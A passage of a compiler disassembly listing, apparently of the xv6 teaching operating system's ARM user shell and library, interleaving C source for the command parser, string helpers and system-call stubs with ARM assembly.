ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
74c: e1a00006 mov r0, r6
750: e1a01005 mov r1, r5
754: e59f2098 ldr r2, [pc, #152] ; 7f4 <parseexec+0x100>
758: ebffff87 bl 57c <peek>
75c: e3500000 cmp r0, #0
760: 1a000019 bne 7cc <parseexec+0xd8>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
764: e1a00006 mov r0, r6
768: e1a01005 mov r1, r5
76c: e24b2024 sub r2, fp, #36 ; 0x24
770: e24b3020 sub r3, fp, #32
774: ebffff24 bl 40c <gettoken>
778: e3500000 cmp r0, #0
77c: 0a000012 beq 7cc <parseexec+0xd8>
break;
if(tok != 'a')
780: e3500061 cmp r0, #97 ; 0x61
784: 1a000017 bne 7e8 <parseexec+0xf4>
panic("syntax");
cmd->argv[argc] = q;
788: e51b3024 ldr r3, [fp, #-36] ; 0x24
cmd->eargv[argc] = eq;
argc++;
78c: e2877001 add r7, r7, #1
while(!peek(ps, es, "|)&;")){
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
panic("syntax");
cmd->argv[argc] = q;
790: e5843004 str r3, [r4, #4]
cmd->eargv[argc] = eq;
794: e51b3020 ldr r3, [fp, #-32]
argc++;
if(argc >= MAXARGS)
798: e357000a cmp r7, #10
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
panic("syntax");
cmd->argv[argc] = q;
cmd->eargv[argc] = eq;
79c: e584302c str r3, [r4, #44] ; 0x2c
argc++;
7a0: e2844004 add r4, r4, #4
if(argc >= MAXARGS)
7a4: 1affffe3 bne 738 <parseexec+0x44>
panic("too many args");
7a8: e59f0048 ldr r0, [pc, #72] ; 7f8 <parseexec+0x104>
7ac: ebfffe5d bl 128 <panic>
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
return parseblock(ps, es);
7b0: e1a00006 mov r0, r6
7b4: e1a01005 mov r1, r5
7b8: eb000054 bl 910 <parseblock>
7bc: e1a08000 mov r8, r0
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
return ret;
}
7c0: e1a00008 mov r0, r8
7c4: e24bd01c sub sp, fp, #28
7c8: e8bd8df0 pop {r4, r5, r6, r7, r8, sl, fp, pc}
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
7cc: e287300a add r3, r7, #10
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
7d0: e08a7107 add r7, sl, r7, lsl #2
cmd->eargv[argc] = 0;
7d4: e08aa103 add sl, sl, r3, lsl #2
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
7d8: e3a03000 mov r3, #0
7dc: e5873004 str r3, [r7, #4]
cmd->eargv[argc] = 0;
7e0: e58a3004 str r3, [sl, #4]
return ret;
7e4: eafffff5 b 7c0 <parseexec+0xcc>
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
panic("syntax");
7e8: e59f000c ldr r0, [pc, #12] ; 7fc <parseexec+0x108>
7ec: ebfffe4d bl 128 <panic>
7f0: 00001620 .word 0x00001620
7f4: 0000163c .word 0x0000163c
7f8: 0000162c .word 0x0000162c
7fc: 00001624 .word 0x00001624
00000800 <parsepipe>:
return cmd;
}
struct cmd*
parsepipe(char **ps, char *es)
{
800: e92d4878 push {r3, r4, r5, r6, fp, lr}
804: e28db014 add fp, sp, #20
808: e1a05000 mov r5, r0
80c: e1a04001 mov r4, r1
struct cmd *cmd;
cmd = parseexec(ps, es);
810: ebffffb7 bl 6f4 <parseexec>
if(peek(ps, es, "|")){
814: e1a01004 mov r1, r4
818: e59f2048 ldr r2, [pc, #72] ; 868 <parsepipe+0x68>
struct cmd*
parsepipe(char **ps, char *es)
{
struct cmd *cmd;
cmd = parseexec(ps, es);
81c: e1a06000 mov r6, r0
if(peek(ps, es, "|")){
820: e1a00005 mov r0, r5
824: ebffff54 bl 57c <peek>
828: e3500000 cmp r0, #0
82c: 1a000001 bne 838 <parsepipe+0x38>
gettoken(ps, es, 0, 0);
cmd = pipecmd(cmd, parsepipe(ps, es));
}
return cmd;
}
830: e1a00006 mov r0, r6
834: e8bd8878 pop {r3, r4, r5, r6, fp, pc}
{
struct cmd *cmd;
cmd = parseexec(ps, es);
if(peek(ps, es, "|")){
gettoken(ps, es, 0, 0);
838: e3a02000 mov r2, #0
83c: e1a03002 mov r3, r2
840: e1a01004 mov r1, r4
844: e1a00005 mov r0, r5
848: ebfffeef bl 40c <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
84c: e1a01004 mov r1, r4
850: e1a00005 mov r0, r5
854: ebffffe9 bl 800 <parsepipe>
858: e1a01000 mov r1, r0
85c: e1a00006 mov r0, r6
}
return cmd;
}
860: e8bd4878 pop {r3, r4, r5, r6, fp, lr}
struct cmd *cmd;
cmd = parseexec(ps, es);
if(peek(ps, es, "|")){
gettoken(ps, es, 0, 0);
cmd = pipecmd(cmd, parsepipe(ps, es));
864: eafffebd b 360 <pipecmd>
868: 00001644 .word 0x00001644
0000086c <parseline>:
return cmd;
}
struct cmd*
parseline(char **ps, char *es)
{
86c: e92d48f0 push {r4, r5, r6, r7, fp, lr}
870: e28db014 add fp, sp, #20
874: e1a05000 mov r5, r0
878: e1a04001 mov r4, r1
struct cmd *cmd;
cmd = parsepipe(ps, es);
87c: ebffffdf bl 800 <parsepipe>
880: e1a06000 mov r6, r0
while(peek(ps, es, "&")){
884: ea000003 b 898 <parseline+0x2c>
gettoken(ps, es, 0, 0);
888: ebfffedf bl 40c <gettoken>
cmd = backcmd(cmd);
88c: e1a00006 mov r0, r6
890: ebfffed0 bl 3d8 <backcmd>
894: e1a06000 mov r6, r0
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
898: e1a01004 mov r1, r4
89c: e59f2064 ldr r2, [pc, #100] ; 908 <parseline+0x9c>
8a0: e1a00005 mov r0, r5
8a4: ebffff34 bl 57c <peek>
gettoken(ps, es, 0, 0);
8a8: e3a02000 mov r2, #0
8ac: e1a01004 mov r1, r4
8b0: e1a03002 mov r3, r2
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
8b4: e2507000 subs r7, r0, #0
gettoken(ps, es, 0, 0);
8b8: e1a00005 mov r0, r5
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
8bc: 1afffff1 bne 888 <parseline+0x1c>
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
8c0: e59f2044 ldr r2, [pc, #68] ; 90c <parseline+0xa0>
8c4: ebffff2c bl 57c <peek>
8c8: e3500000 cmp r0, #0
8cc: 1a000001 bne 8d8 <parseline+0x6c>
gettoken(ps, es, 0, 0);
cmd = listcmd(cmd, parseline(ps, es));
}
return cmd;
}
8d0: e1a00006 mov r0, r6
8d4: e8bd88f0 pop {r4, r5, r6, r7, fp, pc}
while(peek(ps, es, "&")){
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
gettoken(ps, es, 0, 0);
8d8: e1a02007 mov r2, r7
8dc: e1a03007 mov r3, r7
8e0: e1a01004 mov r1, r4
8e4: e1a00005 mov r0, r5
8e8: ebfffec7 bl 40c <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
8ec: e1a01004 mov r1, r4
8f0: e1a00005 mov r0, r5
8f4: ebffffdc bl 86c <parseline>
8f8: e1a01000 mov r1, r0
8fc: e1a00006 mov r0, r6
}
return cmd;
}
900: e8bd48f0 pop {r4, r5, r6, r7, fp, lr}
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
gettoken(ps, es, 0, 0);
cmd = listcmd(cmd, parseline(ps, es));
904: eafffea4 b 39c <listcmd>
908: 00001648 .word 0x00001648
90c: 0000164c .word 0x0000164c
00000910 <parseblock>:
return cmd;
}
struct cmd*
parseblock(char **ps, char *es)
{
910: e92d4878 push {r3, r4, r5, r6, fp, lr}
914: e28db014 add fp, sp, #20
struct cmd *cmd;
if(!peek(ps, es, "("))
918: e59f2084 ldr r2, [pc, #132] ; 9a4 <parseblock+0x94>
return cmd;
}
struct cmd*
parseblock(char **ps, char *es)
{
91c: e1a05000 mov r5, r0
920: e1a04001 mov r4, r1
struct cmd *cmd;
if(!peek(ps, es, "("))
924: ebffff14 bl 57c <peek>
928: e3500000 cmp r0, #0
92c: 0a000018 beq 994 <parseblock+0x84>
panic("parseblock");
gettoken(ps, es, 0, 0);
930: e3a02000 mov r2, #0
934: e1a03002 mov r3, r2
938: e1a01004 mov r1, r4
93c: e1a00005 mov r0, r5
940: ebfffeb1 bl 40c <gettoken>
cmd = parseline(ps, es);
944: e1a01004 mov r1, r4
948: e1a00005 mov r0, r5
94c: ebffffc6 bl 86c <parseline>
if(!peek(ps, es, ")"))
950: e1a01004 mov r1, r4
954: e59f204c ldr r2, [pc, #76] ; 9a8 <parseblock+0x98>
struct cmd *cmd;
if(!peek(ps, es, "("))
panic("parseblock");
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
958: e1a06000 mov r6, r0
if(!peek(ps, es, ")"))
95c: e1a00005 mov r0, r5
960: ebffff05 bl 57c <peek>
964: e3500000 cmp r0, #0
968: 0a00000b beq 99c <parseblock+0x8c>
panic("syntax - missing )");
gettoken(ps, es, 0, 0);
96c: e3a02000 mov r2, #0
970: e1a01004 mov r1, r4
974: e1a03002 mov r3, r2
978: e1a00005 mov r0, r5
97c: ebfffea2 bl 40c <gettoken>
cmd = parseredirs(cmd, ps, es);
980: e1a00006 mov r0, r6
984: e1a01005 mov r1, r5
988: e1a02004 mov r2, r4
return cmd;
}
98c: e8bd4878 pop {r3, r4, r5, r6, fp, lr}
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
if(!peek(ps, es, ")"))
panic("syntax - missing )");
gettoken(ps, es, 0, 0);
cmd = parseredirs(cmd, ps, es);
990: eaffff19 b 5fc <parseredirs>
parseblock(char **ps, char *es)
{
struct cmd *cmd;
if(!peek(ps, es, "("))
panic("parseblock");
994: e59f0010 ldr r0, [pc, #16] ; 9ac <parseblock+0x9c>
998: ebfffde2 bl 128 <panic>
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
if(!peek(ps, es, ")"))
panic("syntax - missing )");
99c: e59f000c ldr r0, [pc, #12] ; 9b0 <parseblock+0xa0>
9a0: ebfffde0 bl 128 <panic>
9a4: 00001620 .word 0x00001620
9a8: 0000165c .word 0x0000165c
9ac: 00001650 .word 0x00001650
9b0: 00001660 .word 0x00001660
000009b4 <nulterminate>:
}
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
9b4: e92d4818 push {r3, r4, fp, lr}
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
9b8: e2504000 subs r4, r0, #0
}
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
9bc: e28db00c add fp, sp, #12
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
9c0: 0a00000b beq 9f4 <nulterminate+0x40>
return 0;
switch(cmd->type){
9c4: e5943000 ldr r3, [r4]
9c8: e2433001 sub r3, r3, #1
9cc: e3530004 cmp r3, #4
9d0: 979ff103 ldrls pc, [pc, r3, lsl #2]
9d4: ea000006 b 9f4 <nulterminate+0x40>
9d8: 00000a14 .word 0x00000a14
9dc: 00000a4c .word 0x00000a4c
9e0: 000009fc .word 0x000009fc
9e4: 000009fc .word 0x000009fc
9e8: 000009ec .word 0x000009ec
nulterminate(lcmd->right);
break;
case BACK:
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
9ec: e5940004 ldr r0, [r4, #4]
9f0: ebffffef bl 9b4 <nulterminate>
break;
}
return cmd;
}
9f4: e1a00004 mov r0, r4
9f8: e8bd8818 pop {r3, r4, fp, pc}
nulterminate(pcmd->right);
break;
case LIST:
lcmd = (struct listcmd*)cmd;
nulterminate(lcmd->left);
9fc: e5940004 ldr r0, [r4, #4]
a00: ebffffeb bl 9b4 <nulterminate>
nulterminate(lcmd->right);
a04: e5940008 ldr r0, [r4, #8]
a08: ebffffe9 bl 9b4 <nulterminate>
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
a0c: e1a00004 mov r0, r4
a10: e8bd8818 pop {r3, r4, fp, pc}
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
a14: e5943004 ldr r3, [r4, #4]
a18: e3530000 cmp r3, #0
a1c: 0afffff4 beq 9f4 <nulterminate+0x40>
a20: e1a03004 mov r3, r4
*ecmd->eargv[i] = 0;
a24: e3a00000 mov r0, #0
a28: e593102c ldr r1, [r3, #44] ; 0x2c
return ret;
}
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
a2c: e1a02003 mov r2, r3
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
*ecmd->eargv[i] = 0;
a30: e2833004 add r3, r3, #4
a34: e5c10000 strb r0, [r1]
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
a38: e5922008 ldr r2, [r2, #8]
a3c: e3520000 cmp r2, #0
a40: 1afffff8 bne a28 <nulterminate+0x74>
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
a44: e1a00004 mov r0, r4
a48: e8bd8818 pop {r3, r4, fp, pc}
*ecmd->eargv[i] = 0;
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
nulterminate(rcmd->cmd);
a4c: e5940004 ldr r0, [r4, #4]
a50: ebffffd7 bl 9b4 <nulterminate>
*rcmd->efile = 0;
a54: e594300c ldr r3, [r4, #12]
a58: e3a02000 mov r2, #0
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
a5c: e1a00004 mov r0, r4
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
nulterminate(rcmd->cmd);
*rcmd->efile = 0;
a60: e5c32000 strb r2, [r3]
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
a64: e8bd8818 pop {r3, r4, fp, pc}
00000a68 <parsecmd>:
struct cmd *parseexec(char**, char*);
struct cmd *nulterminate(struct cmd*);
struct cmd*
parsecmd(char *s)
{
a68: e92d4870 push {r4, r5, r6, fp, lr}
a6c: e28db010 add fp, sp, #16
a70: e24b6014 sub r6, fp, #20
a74: e24dd00c sub sp, sp, #12
a78: e5260004 str r0, [r6, #-4]!
char *es;
struct cmd *cmd;
es = s + strlen(s);
a7c: e1a04000 mov r4, r0
a80: eb000035 bl b5c <strlen>
a84: e0844000 add r4, r4, r0
cmd = parseline(&s, es);
a88: e1a01004 mov r1, r4
a8c: e1a00006 mov r0, r6
a90: ebffff75 bl 86c <parseline>
peek(&s, es, "");
a94: e59f2040 ldr r2, [pc, #64] ; adc <parsecmd+0x74>
a98: e1a01004 mov r1, r4
{
char *es;
struct cmd *cmd;
es = s + strlen(s);
cmd = parseline(&s, es);
a9c: e1a05000 mov r5, r0
peek(&s, es, "");
aa0: e1a00006 mov r0, r6
aa4: ebfffeb4 bl 57c <peek>
if(s != es){
aa8: e51b2018 ldr r2, [fp, #-24]
aac: e1520004 cmp r2, r4
ab0: 1a000004 bne ac8 <parsecmd+0x60>
printf(2, "leftovers: %s\n", s);
panic("syntax");
}
nulterminate(cmd);
ab4: e1a00005 mov r0, r5
ab8: ebffffbd bl 9b4 <nulterminate>
return cmd;
}
abc: e1a00005 mov r0, r5
ac0: e24bd010 sub sp, fp, #16
ac4: e8bd8870 pop {r4, r5, r6, fp, pc}
es = s + strlen(s);
cmd = parseline(&s, es);
peek(&s, es, "");
if(s != es){
printf(2, "leftovers: %s\n", s);
ac8: e3a00002 mov r0, #2
acc: e59f100c ldr r1, [pc, #12] ; ae0 <parsecmd+0x78>
ad0: eb0001ff bl 12d4 <printf>
panic("syntax");
ad4: e59f0008 ldr r0, [pc, #8] ; ae4 <parsecmd+0x7c>
ad8: ebfffd92 bl 128 <panic>
adc: 00001640 .word 0x00001640
ae0: 00001674 .word 0x00001674
ae4: 00001624 .word 0x00001624
00000ae8 <strcpy>:
#include "user.h"
#include "arm.h"
char*
strcpy(char *s, char *t)
{
ae8: e52db004 push {fp} ; (str fp, [sp, #-4]!)
char *os;
os = s;
while((*s++ = *t++) != 0)
aec: e1a02000 mov r2, r0
#include "user.h"
#include "arm.h"
char*
strcpy(char *s, char *t)
{
af0: e28db000 add fp, sp, #0
char *os;
os = s;
while((*s++ = *t++) != 0)
af4: e4d13001 ldrb r3, [r1], #1
af8: e3530000 cmp r3, #0
afc: e4c23001 strb r3, [r2], #1
b00: 1afffffb bne af4 <strcpy+0xc>
;
return os;
}
b04: e28bd000 add sp, fp, #0
b08: e8bd0800 pop {fp}
b0c: e12fff1e bx lr
00000b10 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b10: e52db004 push {fp} ; (str fp, [sp, #-4]!)
b14: e28db000 add fp, sp, #0
while(*p && *p == *q)
b18: e5d03000 ldrb r3, [r0]
b1c: e5d12000 ldrb r2, [r1]
b20: e3530000 cmp r3, #0
b24: 1a000004 bne b3c <strcmp+0x2c>
b28: ea000005 b b44 <strcmp+0x34>
b2c: e5f03001 ldrb r3, [r0, #1]!
b30: e3530000 cmp r3, #0
b34: 0a000006 beq b54 <strcmp+0x44>
b38: e5f12001 ldrb r2, [r1, #1]!
b3c: e1530002 cmp r3, r2
b40: 0afffff9 beq b2c <strcmp+0x1c>
p++, q++;
return (uchar)*p - (uchar)*q;
}
b44: e0620003 rsb r0, r2, r3
b48: e28bd000 add sp, fp, #0
b4c: e8bd0800 pop {fp}
b50: e12fff1e bx lr
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
b54: e5d12001 ldrb r2, [r1, #1]
b58: eafffff9 b b44 <strcmp+0x34>
00000b5c <strlen>:
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
b5c: e52db004 push {fp} ; (str fp, [sp, #-4]!)
b60: e28db000 add fp, sp, #0
int n;
for(n = 0; s[n]; n++)
b64: e5d03000 ldrb r3, [r0]
b68: e3530000 cmp r3, #0
b6c: 01a00003 moveq r0, r3
b70: 0a000006 beq b90 <strlen+0x34>
b74: e1a02000 mov r2, r0
b78: e3a03000 mov r3, #0
b7c: e5f21001 ldrb r1, [r2, #1]!
b80: e2833001 add r3, r3, #1
b84: e1a00003 mov r0, r3
b88: e3510000 cmp r1, #0
b8c: 1afffffa bne b7c <strlen+0x20>
;
return n;
}
b90: e28bd000 add sp, fp, #0
b94: e8bd0800 pop {fp}
b98: e12fff1e bx lr
00000b9c <memset>:
memset(void *dst, int c, uint n)
{
char *p=dst;
u32 rc=n;
while (rc-- > 0) *p++ = c;
b9c: e3520000 cmp r2, #0
return n;
}
void*
memset(void *dst, int c, uint n)
{
ba0: e52db004 push {fp} ; (str fp, [sp, #-4]!)
ba4: e28db000 add fp, sp, #0
char *p=dst;
u32 rc=n;
while (rc-- > 0) *p++ = c;
ba8: 0a000006 beq bc8 <memset+0x2c>
bac: e6ef1071 uxtb r1, r1
bb0: e1a03002 mov r3, r2
}
void*
memset(void *dst, int c, uint n)
{
char *p=dst;
bb4: e1a0c000 mov ip, r0
u32 rc=n;
while (rc-- > 0) *p++ = c;
bb8: e2533001 subs r3, r3, #1
bbc: e4cc1001 strb r1, [ip], #1
bc0: 1afffffc bne bb8 <memset+0x1c>
bc4: e0800002 add r0, r0, r2
return (void *)p;
}
bc8: e28bd000 add sp, fp, #0
bcc: e8bd0800 pop {fp}
bd0: e12fff1e bx lr
00000bd4 <strchr>:
char*
strchr(const char *s, char c)
{
bd4: e52db004 push {fp} ; (str fp, [sp, #-4]!)
bd8: e28db000 add fp, sp, #0
for(; *s; s++)
bdc: e5d03000 ldrb r3, [r0]
be0: e3530000 cmp r3, #0
be4: 1a000004 bne bfc <strchr+0x28>
be8: ea000008 b c10 <strchr+0x3c>
bec: e5d03001 ldrb r3, [r0, #1]
bf0: e2800001 add r0, r0, #1
bf4: e3530000 cmp r3, #0
bf8: 0a000004 beq c10 <strchr+0x3c>
if(*s == c)
bfc: e1530001 cmp r3, r1
c00: 1afffff9 bne bec <strchr+0x18>
return (char*)s;
return 0;
}
c04: e28bd000 add sp, fp, #0
c08: e8bd0800 pop {fp}
c0c: e12fff1e bx lr
strchr(const char *s, char c)
{
for(; *s; s++)
if(*s == c)
return (char*)s;
return 0;
c10: e1a00003 mov r0, r3
c14: eafffffa b c04 <strchr+0x30>
00000c18 <gets>:
}
char*
gets(char *buf, int max)
{
c18: e92d49f0 push {r4, r5, r6, r7, r8, fp, lr}
c1c: e28db018 add fp, sp, #24
c20: e24dd00c sub sp, sp, #12
c24: e1a08000 mov r8, r0
c28: e1a07001 mov r7, r1
int i, cc;
char c;
for(i=0; i+1 < max; ){
c2c: e1a06000 mov r6, r0
c30: e3a05000 mov r5, #0
c34: ea000008 b c5c <gets+0x44>
cc = read(0, &c, 1);
c38: eb000079 bl e24 <read>
if(cc < 1)
c3c: e3500000 cmp r0, #0
c40: da00000b ble c74 <gets+0x5c>
break;
buf[i++] = c;
c44: e55b301d ldrb r3, [fp, #-29]
if(c == '\n' || c == '\r')
c48: e1a05004 mov r5, r4
c4c: e353000a cmp r3, #10
c50: 1353000d cmpne r3, #13
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
c54: e4c63001 strb r3, [r6], #1
if(c == '\n' || c == '\r')
c58: 0a00000a beq c88 <gets+0x70>
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
c5c: e3a02001 mov r2, #1
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
c60: e0854002 add r4, r5, r2
c64: e1540007 cmp r4, r7
cc = read(0, &c, 1);
c68: e3a00000 mov r0, #0
c6c: e24b101d sub r1, fp, #29
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
c70: bafffff0 blt c38 <gets+0x20>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
c74: e3a03000 mov r3, #0
c78: e7c83005 strb r3, [r8, r5]
return buf;
}
c7c: e1a00008 mov r0, r8
c80: e24bd018 sub sp, fp, #24
c84: e8bd89f0 pop {r4, r5, r6, r7, r8, fp, pc}
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
c88: e1a05004 mov r5, r4
c8c: eafffff8 b c74 <gets+0x5c>
00000c90 <stat>:
return buf;
}
int
stat(char *n, struct stat *st)
{
c90: e92d4830 push {r4, r5, fp, lr}
c94: e1a05001 mov r5, r1
c98: e28db00c add fp, sp, #12
int fd;
int r;
fd = open(n, O_RDONLY);
c9c: e3a01000 mov r1, #0
ca0: eb0000a0 bl f28 <open>
if(fd < 0)
ca4: e2504000 subs r4, r0, #0
return -1;
ca8: b3e05000 mvnlt r5, #0
{
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
cac: ba000004 blt cc4 <stat+0x34>
return -1;
r = fstat(fd, st);
cb0: e1a01005 mov r1, r5
cb4: eb0000c2 bl fc4 <fstat>
cb8: e1a05000 mov r5, r0
close(fd);
cbc: e1a00004 mov r0, r4
cc0: eb000071 bl e8c <close>
return r;
}
cc4: e1a00005 mov r0, r5
cc8: e8bd8830 pop {r4, r5, fp, pc}
00000ccc <atoi>:
int
atoi(const char *s)
{
ccc: e52db004 push {fp} ; (str fp, [sp, #-4]!)
cd0: e28db000 add fp, sp, #0
int n;
n = 0;
while('0' <= *s && *s <= '9')
cd4: e5d03000 ldrb r3, [r0]
cd8: e2432030 sub r2, r3, #48 ; 0x30
cdc: e6ef2072 uxtb r2, r2
ce0: e3520009 cmp r2, #9
int
atoi(const char *s)
{
int n;
n = 0;
ce4: 83a00000 movhi r0, #0
while('0' <= *s && *s <= '9')
ce8: 8a000009 bhi d14 <atoi+0x48>
cec: e1a02000 mov r2, r0
int
atoi(const char *s)
{
int n;
n = 0;
cf0: e3a00000 mov r0, #0
while('0' <= *s && *s <= '9')
n = n*10 + *s++ - '0';
cf4: e0800100 add r0, r0, r0, lsl #2
cf8: e0830080 add r0, r3, r0, lsl #1
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
cfc: e5f23001 ldrb r3, [r2, #1]!
n = n*10 + *s++ - '0';
d00: e2400030 sub r0, r0, #48 ; 0x30
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
d04: e2431030 sub r1, r3, #48 ; 0x30
d08: e6ef1071 uxtb r1, r1
d0c: e3510009 cmp r1, #9
d10: 9afffff7 bls cf4 <atoi+0x28>
n = n*10 + *s++ - '0';
return n;
}
d14: e28bd000 add sp, fp, #0
d18: e8bd0800 pop {fp}
d1c: e12fff1e bx lr
00000d20 <memmove>:
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
d20: e3520000 cmp r2, #0
return n;
}
void*
memmove(void *vdst, void *vsrc, int n)
{
d24: e52db004 push {fp} ; (str fp, [sp, #-4]!)
d28: e28db000 add fp, sp, #0
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
d2c: da000005 ble d48 <memmove+0x28>
n = n*10 + *s++ - '0';
return n;
}
void*
memmove(void *vdst, void *vsrc, int n)
d30: e0802002 add r2, r0, r2
{
char *dst, *src;
dst = vdst;
d34: e1a03000 mov r3, r0
src = vsrc;
while(n-- > 0)
*dst++ = *src++;
d38: e4d1c001 ldrb ip, [r1], #1
d3c: e4c3c001 strb ip, [r3], #1
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
d40: e1530002 cmp r3, r2
d44: 1afffffb bne d38 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
d48: e28bd000 add sp, fp, #0
d4c: e8bd0800 pop {fp}
d50: e12fff1e bx lr
00000d54 <fork>:
d54: e92d4000 push {lr}
d58: e92d0008 push {r3}
d5c: e92d0004 push {r2}
d60: e92d0002 push {r1}
d64: e92d0001 push {r0}
d68: e3a00001 mov r0, #1
d6c: ef000040 svc 0x00000040
d70: e8bd0002 pop {r1}
d74: e8bd0002 pop {r1}
d78: e8bd0004 pop {r2}
d7c: e8bd0008 pop {r3}
d80: e8bd4000 pop {lr}
d84: e12fff1e bx lr
00000d88 <exit>:
d88: e92d4000 push {lr}
d8c: e92d0008 push {r3}
d90: e92d0004 push {r2}
d94: e92d0002 push {r1}
d98: e92d0001 push {r0}
d9c: e3a00002 mov r0, #2
da0: ef000040 svc 0x00000040
da4: e8bd0002 pop {r1}
da8: e8bd0002 pop {r1}
dac: e8bd0004 pop {r2}
db0: e8bd0008 pop {r3}
db4: e8bd4000 pop {lr}
db8: e12fff1e bx lr
00000dbc <wait>:
dbc: e92d4000 push {lr}
dc0: e92d0008 push {r3}
dc4: e92d0004 push {r2}
dc8: e92d0002 push {r1}
dcc: e92d0001 push {r0}
dd0: e3a00003 mov r0, #3
dd4: ef000040 svc 0x00000040
dd8: e8bd0002 pop {r1}
ddc: e8bd0002 pop {r1}
de0: e8bd0004 pop {r2}
de4: e8bd0008 pop {r3}
de8: e8bd4000 pop {lr}
dec: e12fff1e bx lr
00000df0 <pipe>:
df0: e92d4000 push {lr}
df4: e92d0008 push {r3}
df8: e92d0004 push {r2}
dfc: e92d0002 push {r1}
e00: e92d0001 push {r0}
e04: e3a00004 mov r0, #4
e08: ef000040 svc 0x00000040
e0c: e8bd0002 pop {r1}
e10: e8bd0002 pop {r1}
e14: e8bd0004 pop {r2}
e18: e8bd0008 pop {r3}
e1c: e8bd4000 pop {lr}
e20: e12fff1e bx lr
00000e24 <read>:
e24: e92d4000 push {lr}
e28: e92d0008 push {r3}
e2c: e92d0004 push {r2}
e30: e92d0002 push {r1}
e34: e92d0001 push {r0}
e38: e3a00005 mov r0, #5
e3c: ef000040 svc 0x00000040
e40: e8bd0002 pop {r1}
e44: e8bd0002 pop {r1}
e48: e8bd0004 pop {r2}
e4c: e8bd0008 pop {r3}
e50: e8bd4000 pop {lr}
e54: e12fff1e bx lr
00000e58 <write>:
e58: e92d4000 push {lr}
e5c: e92d0008 push {r3}
e60: e92d0004 push {r2}
e64: e92d0002 push {r1}
e68: e92d0001 push {r0}
e6c: e3a00010 mov r0, #16
e70: ef000040 svc 0x00000040
e74: e8bd0002 pop {r1}
e78: e8bd0002 pop {r1}
e7c: e8bd0004 pop {r2}
e80: e8bd0008 pop {r3}
e84: e8bd4000 pop {lr}
e88: e12fff1e bx lr
00000e8c <close>:
e8c: e92d4000 push {lr}
e90: e92d0008 push {r3}
e94: e92d0004 push {r2}
e98: e92d0002 push {r1}
e9c: e92d0001 push {r0}
ea0: e3a00015 mov r0, #21
ea4: ef000040 svc 0x00000040
ea8: e8bd0002 pop {r1}
eac: e8bd0002 pop {r1}
eb0: e8bd0004 pop {r2}
